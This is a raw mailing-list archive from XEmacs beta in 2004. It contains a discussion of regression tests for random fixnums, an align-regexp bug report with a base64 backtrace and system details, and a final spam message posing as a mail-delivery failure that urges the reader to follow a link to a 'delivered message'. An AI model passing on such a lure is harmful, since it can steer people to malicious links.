%S") (quote ,assertion) ,failing-case) (incf assertion-failures)) (t (Print-Failure "%S ==> error: %S" (quote ,assertion) error-info) (incf other-failures) ))) > Jerry> Plus, what's the point in subtracting one random number > Jerry> from another? > > Evenly distributing the work of covering the 2 billion+ value space > over many users without explicit coordination. OK, it's not really a > regression test.... No, that's not my point. In a non-bignum XEmacs, (random) returns some fixnum. That fixnum is chosen out of the range of all possible fixnums with equal probability [1]. Due to overflow/underflow, subtracting two such values yields some fixnum chosen out of the range of all possible fixnums with equal probability. Think of it this way: for any given fixnum x, there are a (fixnum range size [2]) number of pairs of fixnums (y, z) such that x = y - z. In short, there is no technical reason why (- (random) (random)) is better than just plain (random). In a bignum XEmacs, the situation is different because there is no overflow/underflow. The (- (random) (random)) will return some value in the range 2 * most-negative-fixnum + 1 to -2 * most-negative-fixnum, inclusive, but the probabilities are no longer equal. For example, there is only one pair of numbers that will produce each of the two endpoints, but there are most-positive-fixnum pairs that produce zero. I think we should keep it simple and just use plain (random). > Jerry> This test will fail if x happens to be > Jerry> most-negative-fixnum, whether the XEmacs is bignum-enabled > Jerry> or not. > > OK, we fix the test, and add a regression test for most-negative-fixnum. > > (cond ((featurep 'bignum) (Assert (eql ...))) > ((= x most-negative-fixnum) (Assert (eql (negative-of-test)))) > (t (Assert (eql current-test)))) > > is that right? Since any failure at all is likely to imply a failure at the endpoints of the range, I think we should explicitly test most-negative-fixnum and most-positive-fixnum, then make sure we do not retest either while picking random numbers. That way we get the polarity right on the most-negative-fixnum test and don't have to worry about it for the random tests. Shoot; (random) chooses one fixnum with equal probability, and (random N) chooses a number from 0 to N-1 with equal probability. That's too bad; I'd like to be able to say something like (random (1+ most-negative-fixnum) (1- most-positive-fixnum)) and have it give me a number in that range. > Jerry> And then the eq test fails, because two bignums with the > Jerry> same value are not necessarily eq. If the test was eql, it > Jerry> would work. > > If the Lisp types are different, eql will return nil, right? Eg, > > (eql 32 ?\ ) => nil > > but > > (= 32 ?\ ) => t Right. > I need to change the internals documentation on regression testing, > which currently recommends use of `eq' (then you get an Assert > failure, and know what broke, where otherwise you get a "misc > unexpected failure"), to recommend eql. (This is not provable, it's a > heuristic for many functions which return position-or-nil, the Assert > failure is more informative in those cases.) I don't understand. Would my suggested change to Assert help at all? Footnotes: [1] Or at least that is now the case with the VALBITS -> INT_VALBITS change. We've been lying about that for quite some time, it seems. [2] Approximately 4 billion on 32-bit architectures. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Fri Apr 23 11:27:15 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NFR6s25805; Fri, 23 Apr 2004 11:27:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NFQQA25429 for xemacs-beta-mailman@xemacs.org; Fri, 23 Apr 2004 11:26:26 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3NFQON25394 for turnbull@tux.org; Fri, 23 Apr 2004 11:26:24 -0400 Received: from satana.stru.polimi.it (satana.stru.polimi.it [131.175.189.180]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NFQMs25367 for ; Fri, 23 Apr 2004 11:26:23 -0400 Received: from satana (localhost [127.0.0.1]) by satana (Postfix) with SMTP id ACA09AC52 for ; Fri, 23 Apr 2004 17:26:16 +0200 (CEST) Received: from boffi95 (boffi95.stru.polimi.it [131.175.189.141]) by satana.stru.polimi.it (Postfix) with ESMTP id 765EDAC3D for ; Fri, 23 Apr 2004 17:26:16 +0200 (CEST) Received: from boffi by boffi95 with local (Exim 3.36 #1 (Debian)) id 1BH2Xs-0006hD-00 for ; Fri, 23 Apr 2004 17:24:52 +0200 From: giacomo boffi MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="XzgiO/8q0C" Content-Transfer-Encoding: 7bit Message-ID: <16521.13635.140774.778234@gargle.gargle.HOWL> Date: Fri, 23 Apr 2004 17:24:51 +0200 To: XEmacs Beta Subject: [Bug: 21.5-b17] align-regexp X-Mailer: VM 7.17 under 21.5 (beta17) "chayote" (+CVS-20040411) XEmacs Lucid Reply-To: giacomo.boffi@polimi.it X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --XzgiO/8q0C Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit ================================================================ Dear Bug Team! i have a file with four fields, separated by |'s --- it's 277 lines of data like this tesisti|mondelli|William Mondelli, 12/2004|/export/home/tesisti/mecc/corigliano/mondelli tesisti|novelli|Paolo Novelli e Luca Licini, 04/2005|/export/home/tesisti/mecc/maier/novelli tesisti|palazzi|Filippo Palazzi, 02/2004|/export/home/tesisti/mecc/maier/palazzi to look at the data with ease, i tried to use align-regexp, and while i select a _few_ lines, "M-x align-regexp RET | RET" works ok, but when i select the whole buffer i cannot align the fields and an error is signalled i'm sorry i've no a precise measure of how many lines break align-regexp i managed to get the following backtrace --XzgiO/8q0C Content-Type: application/octet-stream Content-Transfer-Encoding: base64 U2lnbmFsaW5nOiAod3JvbmctbnVtYmVyLW9mLWFyZ3VtZW50cyBmb3JtYXQgMyAiQWxpZ25p bmcgYCVzJyAocnVsZSAlZCBvZiAlZCkgJWQlJS4uLiIpCiAgZm9ybWF0KCJBbGlnbmluZyBg JXMnIChydWxlICVkIG9mICVkKSAlZCUlLi4uIiAxIDEgMCkKICBhcHBseShmb3JtYXQgIkFs aWduaW5nIGAlcycgKHJ1bGUgJWQgb2YgJWQpICVkJSUuLi4iICgxIDEgMCkpCiAgbWVzc2Fn ZSgiQWxpZ25pbmcgYCVzJyAocnVsZSAlZCBvZiAlZCkgJWQlJS4uLiIgMSAxIDApCiAgYWxp Z24tcmVnaW9uKDEgMjA1MzEgZW50aXJlICgobmlsIChyZWdleHAgLiAiXFwoXFxzLSpcXCl8 IikgKGdyb3VwIC4gMSkgKGJvZ3VzKSAoc3BhY2luZyAuIDEpIChyZXBlYXQpKSkgbmlsIG5p bCkKICAjPGNvbXBpbGVkLWZ1bmN0aW9uIChiZWcgZW5kIHJlZ2V4cCAmb3B0aW9uYWwgZ3Jv dXAgc3BhY2luZyByZXBlYXQpICIuLi4oNTYpIiBbYmVnIHJlcGVhdCByZWdleHAgcnVsZSBn cm91cCBzcGFjaW5nIG5pbCBhYnMgMCBqdXN0aWZ5IHQgYm9ndXMgY29sdW1uIGFsaWduLXJl Z2lvbiBlbnRpcmUgZW5kXSA3ICgiL3Vzci9sb2NhbC9saWIveGVtYWNzL3hlbWFjcy1wYWNr YWdlcy9saXNwL2VkaXQtdXRpbHMvYWxpZ24uZWxjIiAuIDI0OTEyKSAoYnl0ZS1jb2RlICLC YMMgXmDDIF1ECKuYxMXGXCLHxMjJXCIhx8TKywkhXCIhzM0hRqqJxsTOIVDPCdBGXCKHIiBb Y3VycmVudC1wcmVmaXgtYXJnIGFsaWduLWRlZmF1bHQtc3BhY2luZyBhcHBlbmQgbWFyayBy ZWFkLXN0cmluZyAiQ29tcGxleCBhbGlnbiB1c2luZyByZWdleHA6ICIgIlxcKFxccy0qXFwp IiBzdHJpbmctdG8taW50ICJQYXJlbnRoZXNpcyBncm91cCB0byBtb2RpZnkgKGp1c3RpZnkg aWYgbmVnYXRpdmUpOiAiICIxIiAiQW1vdW50IG9mIHNwYWNpbmcgKG9yIGNvbHVtbiBpZiBu ZWdhdGl2ZSk6ICIgbnVtYmVyLXRvLXN0cmluZyB5LW9yLW4tcCAiUmVwZWF0IHRocm91Z2hv dXQgbGluZT8gIiAiQWxpZ24gcmVnZXhwOiAiIDEgbmlsXSA5KT4oMSAyMDUzMSAiXFwoXFxz LSpcXCl8IiAxIDEgbmlsKQogIGNhbGwtaW50ZXJhY3RpdmVseShhbGlnbi1yZWdleHApCiAg Y29tbWFuZC1leGVjdXRlKGFsaWduLXJlZ2V4cCB0KQogIGV4ZWN1dGUtZXh0ZW5kZWQtY29t bWFuZChuaWwpCiAgY2FsbC1pbnRlcmFjdGl2ZWx5KGV4ZWN1dGUtZXh0ZW5kZWQtY29tbWFu ZCkKICAoZGlzcGF0Y2gtZXZlbnQgIltpbnRlcm5hbF0iKQogIHJlY3Vyc2l2ZS1lZGl0KCkK ICBieXRlLWNvZGUoIi4uLiIgW3ByaW50LWVzY2FwZS1uZXdsaW5lcyBwcmludC1sZW5ndGgg ZGVidWdnZXItYnVmZmVyIGRlYnVnZ2VyLXZhbHVlIHN0YW5kYXJkLW91dHB1dCBkZWJ1Z2dl ci1hcmdzIHBvcC10by1idWZmZXIgZXJhc2UtYnVmZmVyIHQgNTAgYmFja3RyYWNlIGRlYnVn Z2VyLW1vZGUgcmUtc2VhcmNoLWZvcndhcmQgIlxuWyogXSBkZWJ1ZygiIDEgZGVidWdnZXIt cmVlbmFibGUgKGxhbWJkYSBkZWJ1ZykgIkVudGVyaW5nOlxuIiBkZWJ1ZyBiYWNrdHJhY2Ut ZGVidWcgMyBkZWxldGUtY2hhciA/KiAwIGV4aXQgIlJldHVybiB2YWx1ZTogIiBwcmluMSA/ XG4gP1wgIGVycm9yICJTaWduYWxpbmc6ICIgIkJlZ2lubmluZyBldmFsdWF0aW9uIG9mIGZ1 bmN0aW9uIGNhbGwgZm9ybTpcbiIgbmlsIG1lc3NhZ2UgIiIgcmVjdXJzaXZlLWVkaXQgYnVm ZmVyLXJlYWQtb25seSBpbmhpYml0LXRyYWNlXSAzKQogIGRlYnVnKGVycm9yICh3cm9uZy1u dW1iZXItb2YtYXJndW1lbnRzIGZvcm1hdCAzICJBbGlnbmluZyBgJXMnIChydWxlICVkIG9m ICVkKSAlZCUlLi4uIikpCiAgZm9ybWF0KCJBbGlnbmluZyBgJXMnIChydWxlICVkIG9mICVk KSAlZCUlLi4uIiAxIDEgMCkKICBhcHBseShmb3JtYXQgIkFsaWduaW5nIGAlcycgKHJ1bGUg JWQgb2YgJWQpICVkJSUuLi4iICgxIDEgMCkpCiAgbWVzc2FnZSgiQWxpZ25pbmcgYCVzJyAo cnVsZSAlZCBvZiAlZCkgJWQlJS4uLiIgMSAxIDApCiAgYWxpZ24tcmVnaW9uKDEgMjAzNzYg ZW50aXJlICgobmlsIChyZWdleHAgLiAiXFwoXFxzLSpcXCl8IikgKGdyb3VwIC4gMSkgKGJv Z3VzKSAoc3BhY2luZyAuIDEpIChyZXBlYXQpKSkgbmlsIG5pbCkKICAjPGNvbXBpbGVkLWZ1 bmN0aW9uIChiZWcgZW5kIHJlZ2V4cCAmb3B0aW9uYWwgZ3JvdXAgc3BhY2luZyByZXBlYXQp ICIuLi4oNTYpIiBbYmVnIHJlcGVhdCByZWdleHAgcnVsZSBncm91cCBzcGFjaW5nIG5pbCBh YnMgMCBqdXN0aWZ5IHQgYm9ndXMgY29sdW1uIGFsaWduLXJlZ2lvbiBlbnRpcmUgZW5kXSA3 ICgiL3Vzci9sb2NhbC9saWIveGVtYWNzL3hlbWFjcy1wYWNrYWdlcy9saXNwL2VkaXQtdXRp bHMvYWxpZ24uZWxjIiAuIDI0OTEyKSAoYnl0ZS1jb2RlICLCYMMgXmDDIF1ECKuYxMXGXCLH xMjJXCIhx8TKywkhXCIhzM0hRqqJxsTOIVDPCdBGXCKHIiBbY3VycmVudC1wcmVmaXgtYXJn IGFsaWduLWRlZmF1bHQtc3BhY2luZyBhcHBlbmQgbWFyayByZWFkLXN0cmluZyAiQ29tcGxl eCBhbGlnbiB1c2luZyByZWdleHA6ICIgIlxcKFxccy0qXFwpIiBzdHJpbmctdG8taW50ICJQ YXJlbnRoZXNpcyBncm91cCB0byBtb2RpZnkgKGp1c3RpZnkgaWYgbmVnYXRpdmUpOiAiICIx IiAiQW1vdW50IG9mIHNwYWNpbmcgKG9yIGNvbHVtbiBpZiBuZWdhdGl2ZSk6ICIgbnVtYmVy LXRvLXN0cmluZyB5LW9yLW4tcCAiUmVwZWF0IHRocm91Z2hvdXQgbGluZT8gIiAiQWxpZ24g cmVnZXhwOiAiIDEgbmlsXSA5KT4oMSAyMDM3NiAiXFwoXFxzLSpcXCl8IiAxIDEgbmlsKQog IGNhbGwtaW50ZXJhY3RpdmVseShhbGlnbi1yZWdleHApCiAgY29tbWFuZC1leGVjdXRlKGFs aWduLXJlZ2V4cCB0KQogIGV4ZWN1dGUtZXh0ZW5kZWQtY29tbWFuZChuaWwpCiAgY2FsbC1p bnRlcmFjdGl2ZWx5KGV4ZWN1dGUtZXh0ZW5kZWQtY29tbWFuZCkKICAoZGlzcGF0Y2gtZXZl bnQgIltpbnRlcm5hbF0iKQogIHJlY3Vyc2l2ZS1lZGl0KCkKICBieXRlLWNvZGUoIi4uLiIg W3ByaW50LWVzY2FwZS1uZXdsaW5lcyBwcmludC1sZW5ndGggZGVidWdnZXItYnVmZmVyIGRl YnVnZ2VyLXZhbHVlIHN0YW5kYXJkLW91dHB1dCBkZWJ1Z2dlci1hcmdzIHBvcC10by1idWZm ZXIgZXJhc2UtYnVmZmVyIHQgNTAgYmFja3RyYWNlIGRlYnVnZ2VyLW1vZGUgcmUtc2VhcmNo LWZvcndhcmQgIlxuWyogXSBkZWJ1ZygiIDEgZGVidWdnZXItcmVlbmFibGUgKGxhbWJkYSBk ZWJ1ZykgIkVudGVyaW5nOlxuIiBkZWJ1ZyBiYWNrdHJhY2UtZGVidWcgMyBkZWxldGUtY2hh ciA/KiAwIGV4aXQgIlJldHVybiB2YWx1ZTogIiBwcmluMSA/XG4gP1wgIGVycm9yICJTaWdu YWxpbmc6ICIgIkJlZ2lubmluZyBldmFsdWF0aW9uIG9mIGZ1bmN0aW9uIGNhbGwgZm9ybTpc biIgbmlsIG1lc3NhZ2UgIiIgcmVjdXJzaXZlLWVkaXQgYnVmZmVyLXJlYWQtb25seSBpbmhp Yml0LXRyYWNlXSAzKQogIGRlYnVnKGVycm9yICh3cm9uZy1udW1iZXItb2YtYXJndW1lbnRz IGZvcm1hdCAzICJBbGlnbmluZyBgJXMnIChydWxlICVkIG9mICVkKSAlZCUlLi4uIikpCiAg Zm9ybWF0KCJBbGlnbmluZyBgJXMnIChydWxlICVkIG9mICVkKSAlZCUlLi4uIiAxIDEgMCkK ICBhcHBseShmb3JtYXQgIkFsaWduaW5nIGAlcycgKHJ1bGUgJWQgb2YgJWQpICVkJSUuLi4i ICgxIDEgMCkpCiAgbWVzc2FnZSgiQWxpZ25pbmcgYCVzJyAocnVsZSAlZCBvZiAlZCkgJWQl JS4uLiIgMSAxIDApCiAgYWxpZ24tcmVnaW9uKDEgMjEwODYgZW50aXJlICgobmlsIChyZWdl eHAgLiAiXFwoXFxzLSpcXClcXFxcXFx8IikgKGdyb3VwIC4gMSkgKGJvZ3VzKSAoc3BhY2lu ZyAuIDEpIChyZXBlYXQpKSkgbmlsIG5pbCkKICAjPGNvbXBpbGVkLWZ1bmN0aW9uIChiZWcg ZW5kIHJlZ2V4cCAmb3B0aW9uYWwgZ3JvdXAgc3BhY2luZyByZXBlYXQpICIuLi4oNTYpIiBb YmVnIHJlcGVhdCByZWdleHAgcnVsZSBncm91cCBzcGFjaW5nIG5pbCBhYnMgMCBqdXN0aWZ5 IHQgYm9ndXMgY29sdW1uIGFsaWduLXJlZ2lvbiBlbnRpcmUgZW5kXSA3ICgiL3Vzci9sb2Nh bC9saWIveGVtYWNzL3hlbWFjcy1wYWNrYWdlcy9saXNwL2VkaXQtdXRpbHMvYWxpZ24uZWxj IiAuIDI0OTEyKSAoYnl0ZS1jb2RlICLCYMMgXmDDIF1ECKuYxMXGXCLHxMjJXCIhx8TKywkh XCIhzM0hRqqJxsTOIVDPCdBGXCKHIiBbY3VycmVudC1wcmVmaXgtYXJnIGFsaWduLWRlZmF1 bHQtc3BhY2luZyBhcHBlbmQgbWFyayByZWFkLXN0cmluZyAiQ29tcGxleCBhbGlnbiB1c2lu ZyByZWdleHA6ICIgIlxcKFxccy0qXFwpIiBzdHJpbmctdG8taW50ICJQYXJlbnRoZXNpcyBn cm91cCB0byBtb2RpZnkgKGp1c3RpZnkgaWYgbmVnYXRpdmUpOiAiICIxIiAiQW1vdW50IG9m IHNwYWNpbmcgKG9yIGNvbHVtbiBpZiBuZWdhdGl2ZSk6ICIgbnVtYmVyLXRvLXN0cmluZyB5 LW9yLW4tcCAiUmVwZWF0IHRocm91Z2hvdXQgbGluZT8gIiAiQWxpZ24gcmVnZXhwOiAiIDEg bmlsXSA5KT4oMSAyMTA4NiAiXFwoXFxzLSpcXClcXFxcXFx8IiAxIDEgbmlsKQogIGNhbGwt aW50ZXJhY3RpdmVseShhbGlnbi1yZWdleHApCiAgY29tbWFuZC1leGVjdXRlKGFsaWduLXJl Z2V4cCB0KQogIGV4ZWN1dGUtZXh0ZW5kZWQtY29tbWFuZChuaWwpCiAgY2FsbC1pbnRlcmFj dGl2ZWx5KGV4ZWN1dGUtZXh0ZW5kZWQtY29tbWFuZCkKICAoZGlzcGF0Y2gtZXZlbnQgIltp bnRlcm5hbF0iKQo= --XzgiO/8q0C Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux boffi95 2.4.18-bf2.4 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux ./configure '--extra-verbose' '--rel-alloc' '--with-widgets' '--with-athena=3d' '--debug' '--pdump' '--with-wmcommand=no' '--with-sound=no' '--error-checking=all' '--with-mule' XEmacs 21.5-b17 "chayote" (+CVS-20040411) configured for `i686-pc-linux'. Compilation Environment and Installation Defaults: Source code location: /home/boffi/src/xemacs-21.5 Installation prefix: /usr/local Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler version: gcc (GCC) 3.3.3 (Debian 20040401) - GCC specs file: /usr/lib/gcc-lib/i486-linux/3.3.3/specs - Compiler command: gcc -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wpacked -Wshadow -Wmissing-declarations -g -O3 libc version: GNU libc 2.3.2.ds1-11 (Debian) Relocating allocator for buffers: yes GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib Compiling in support for the Athena widget set: - Athena headers location: X11/Xaw3d - Athena library to link: Xaw3d Using Lucid menubars. Using Lucid scrollbars. Using Athena dialog boxes. Using Athena native widgets. TTY: Compiling in support for ncurses. Compiling in support for GPM (General Purpose Mouse). Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Compiling in support for X-Face message headers. Sound: Databases: Internationalization: Compiling in support for Mule (multi-lingual Emacs). Compiling in support for XIM (X11R5+ I18N input method). - Using raw Xlib to provide XIM support. Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Compiling in support for extra debugging code. WARNING: --------------------------------------------------------- WARNING: Compiling in support for runtime error checking. WARNING: XEmacs will run noticeably more slowly as a result. WARNING: Error checking is on by default for XEmacs beta releases. WARNING: --------------------------------------------------------- Load-Path Lisp Shadows: ---------------------- (/home/boffi/.xemacs/mule-packages/lisp/mule-base/ethio-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/ethio-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/china-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/china-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/cyril-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/cyril-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/korea-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/korea-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/viet-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/viet-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/japan-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/japan-util /home/boffi/.xemacs/mule-packages/lisp/mule-ucs/unicode /usr/local/lib/xemacs-21.5-b17/lisp/unicode) Installed XEmacs Packages: ------------------------- (xwem ver: 1.08 upstream: 0.1) (xlib ver: 1.08 upstream: 0.1) (xemacs-base ver: 1.86 upstream: No-Upstream-Ver) (x-symbol ver: 1.1 upstream: 4.5.1) (vm ver: 7.18 upstream: 7.17) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.77 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (reftex ver: 1.34 upstream: 4.21) (python-modes ver: 1.06 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.1 upstream: 6.5.6) (prog-modes ver: 1.96 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (net-utils ver: 1.42 upstream: N/A) (mmm-mode ver: 1.02 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.65 upstream: No-Upstream-Ver) (ispell ver: 1.29 upstream: 3.6) (hm--html-menus ver: 1.23 upstream: 5.9) (gnus ver: 1.79 upstream: 5.10.6) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (fortran-modes ver: 1.04 upstream: No-Upstream-Ver) (footnote ver: 1.16 upstream: 0.18x) (efs ver: 1.32 upstream: 1.22) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.5 upstream: 2.75) (ecrypto ver: 0.17 upstream: 2.0) (ecb ver: 1.18 upstream: 2.24) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (cookie ver: 1.15 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.2 upstream: No-Upstream-Ver) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (mule-ucs ver: 1.05 upstream: 0.84) (mule-base ver: 1.46 upstream: No-Upstream-Ver) (latin-unity ver: 1.09 upstream: 1.09) Installed Modules: ----------------- Features: -------- (info ehelp electric xemacsbug shadow alist x-font-menu font-menu man highline overlay hyper-apropos debug align outline font-latex latex tex advice advice-preload passwd efs-dired efs-x19.15 efs-fnh efs-ovwrt efs-netrc efs-defun comint ring efs efs-dump package-ui package-get package-admin config gnus-fun vm-virtual vm-reply vm-sort vm-delete vm-undo vm-crypto vm-minibuf vm-imap vm-page vm-mime vm-toolbar vm-summary tapestry vm-motion vm-message vm-menu vm-folder vm-misc vm-mouse vm-window vm-autoload vm-vars vm-version vm vm-startup sha1-el hex-util flow-fill sort gnus-cite mail-extr gnus-agent gnus-srvr nnvirtual gnus-async gnus-bcklg byte-optimize bytecomp byte-compile gnus-score score-mode gnus-ml gnus-msg gnus-art mm-uu mml2015 pgg pgg-parse pgg-def mm-view disp-table gnus-topic gnus-sum nndoc gnus-cache gnus-group gnus-undo nndraft nnmh nnmail mail-source format-spec nntp nnoo uboat gnus-start gnus-spec gnus-int gnus-range message mml mml-sec mml-smime smime dig mm-decode executable mm-bodies mm-encode mailcap lpr mail-parse rfc2045 rfc2231 rfc2047 qp ietf-drums mail-abbrevs sendmail rfc822 mailheader canlock gnus-win gnus gnus-ems gnus-xmas wid-edit dired-faces dired-xemacs dired efs-cu gnuserv paren blink-paren func-menu bbdb timezone font-lock cus-face jka-compr tex-site smiley annotations messagexmas nnheader nnheaderxm gnus-util netrc time-date parse-time mm-util mail-prsvr mail-utils x-compose filladapt view-less view mwheel xwem-autoloads xwem-compat xwem-keyboard edmacro xlib-xtest xlib-xc xwem-macros xlib-math xlib-autoloads xemacs-base-autoloads x-symbol-autoloads vm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads sh-script-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads os-utils-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mailcrypt-autoloads mail-lib-autoloads ispell-autoloads hm--html-menus-autoloads gnus-autoloads general-docs-autoloads fsf-compat-autoloads fortran-modes-autoloads footnote-autoloads efs-autoloads edit-utils-autoloads ediff-autoloads ecrypto-autoloads ecb-autoloads dired-autoloads dictionary-autoloads debug-autoloads cookie-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads bbdb-autoloads auctex-autoloads mule-ucs-autoloads mule-base-autoloads latin-unity-autoloads modules-autoloads mule-autoloads lisp-autoloads loadhist rsz-minibuf auto-show fontl-hooks x-iso8859-1 tibetan lao devanagari indian slovenian czech romanian ccl code-cmds gutter-items menubar-items x-menubar mode-motion mouse behavior itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived newcomment env text-props frame obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote unicode lucid-scrollbars cut-buffer lucid-menubars athena-dialogs x c-balloon-help tty-frames tty toolbar scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar md5 xemacs xim mule gutter tiff png gif jpeg xface xpm xbm lisp-float-type file-coding linux dialog devices window-system base64) Recent keystrokes: ----------------- a c k t TAB BS BS BS BS BS BS BS BS r a c e RET RET M-x v m SPC m i SPC m SPC i n SPC BS BS a SPC b TAB RET * b TAB BS TAB B TAB a TAB RET RET RET button1 button1up C-x k RET M-x x e m TAB r e TAB TAB BS BS b u TAB TAB BS BS BS BS BS BS BS BS BS r e p TAB TAB o TAB x e TAB - TAB RET C-x k RET M-x up M-BS BS R ET Recent messages (most recent first): ----------------------------------- Loading info...done Loading info... Making completion list... Making completion list... Making completion list... Making completion list... Got mail from boffi@131.175.189.180 [inbox]. Wrote /home/boffi/Mail/INBOX Retrieving message 1 (of 1) from boffi@131.175.189.180 [inbox]... Making completion list... Making completion list... Type C-c C-c to send the bug report, C-x k to cancel. space = page forward; b = page back; h = help; q = quit. Loading ehelp...done Loading ehelp... Parsing /home/boffi/.mailrc... done Parsing /home/boffi/.mailrc... Loading xemacsbug...done Loading xemacsbug... Entering debugger... --XzgiO/8q0C-- From milsom@istar.ca Fri Apr 23 15:22:49 2004 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3NJMks16218 for ; Fri, 23 Apr 2004 15:22:46 -0400 Message-Id: <200404231922.i3NJMks16218@gwyn.tux.org> From: milsom@istar.ca To: xemacs-beta-archive@xemacs.org Subject: Mail Delivery (failure xemacs-beta-archive@xemacs.org) Date: Fri, 23 Apr 2004 15:04:03 -0700 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.xemacs.org/inbox/xemacs-beta-archive/read.php?sessionid-22741

 
